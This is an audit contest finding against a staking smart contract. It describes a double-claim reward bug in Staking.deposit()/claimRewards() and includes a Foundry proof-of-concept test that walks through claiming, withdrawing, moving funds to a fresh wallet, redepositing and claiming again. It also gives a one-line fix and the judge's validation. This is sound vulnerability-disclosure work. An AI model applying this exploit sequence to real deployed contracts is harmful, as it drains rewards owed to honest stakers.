Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Business logic bug in Staking.deposit()

Summary

An attacker can claim more Staking LoveToken than they are entitled to.

Vulnerability Details

An attacker can claim the reward twice by making a deposit, then claiming the his reward, followed by a withdrawal, and transferring their entire balance to another user who will then make a deposit and claim rewards based on time the NFT id = 0 stake.
This is due to the claimRewards() function in the Staking contract, which relies on soulmateContract.idToCreationTimestamp(soulmateId) for a user who has never claimed rewards.

Impact

An attacker can obtain Staking rewards without needing to wait more than a week.

Tools Used

  • foundry

Proof of Concept: The test case below, to be included in StakingTest.t.sol, demonstrates that when a attacker claims an AiStaking reward without waiting a week.

StakingTest.t.test

function test_AnyoneCanClaimStaking() public {
//solmate 1 and solmate 2 deposit 5 ether loveToken each
uint256 balancePerSoulmates = 5 ether;
uint256 weekOfStaking = 10;
_depositTokenToStake(balancePerSoulmates);
// solmate 1 create new wallet name attacker
address attacker = makeAddr("attacker");
// he wait for 10 weeks
vm.warp(block.timestamp + weekOfStaking * 1 weeks + 1 seconds);
// solmate 1 claim rewards 10 weeks after staking
vm.prank(soulmate1);
stakingContract.claimRewards();
// solmate 1 should have 10 * 5 ether = 50 ether loveToken
assertTrue(loveToken.balanceOf(soulmate1) == weekOfStaking * balancePerSoulmates);
// solmate withdraw his initial 5 ether loveToken
vm.prank(soulmate1);
stakingContract.withdraw(balancePerSoulmates);
// solmate 1 should have 10 * 5 ether + 5 ether = 55 ether loveToken
uint256 soulmateBalance = loveToken.balanceOf(soulmate1);
//transfer all his 55 ether token his attacker wallet
vm.prank(soulmate1);
loveToken.transfer(attacker, soulmateBalance);
//attacker approve the staking contract to spend his 55 ether loveToken
uint256 attackerbalance = loveToken.balanceOf(attacker);
vm.prank(attacker);
loveToken.approve(address(stakingContract), attackerbalance);
//attacker deposit his 55 ether loveToken
vm.prank(attacker);
stakingContract.deposit(attackerbalance);
//attacker claim 10 weeks rewards without waiting 10 weeks after staking
vm.prank(attacker);
stakingContract.claimRewards();
//attacker withdraw his 55 ether loveToken
vm.prank(attacker);
stakingContract.withdraw(attackerbalance);
//attacker should have 10 * 55 ether + 55 ether = 605 ether loveToken
//solmate gain more token than he derseve with only 10 weeks of staking
assertTrue(loveToken.balanceOf(attacker) == weekOfStaking * attackerbalance + attackerbalance);
}

Tools Used

  • foundry

Recommendations

It would be more prudent to update the mapping mapping(address => uint256 timestamp) public lastClaim; with the timestamp of the deposit date.

Staking.sol

function deposit(uint256 amount) public {
if (
loveToken.balanceOf(address(stakingVault)) == 0 )
) {
revert Staking__NoMoreRewards();
}
// No require needed because of overflow protection
userStakes[msg.sender] += amount;
+ lastClaim[msg.sender] = block.timestamp;
loveToken.transferFrom(msg.sender, address(this), amount);
emit Deposited(msg.sender, amount);
}
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claimRewards-multi-deposits-time

High severity, this allows users to claim additional rewards without committing to intended weekly staking period via multi-deposit/deposit right before claiming rewards.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.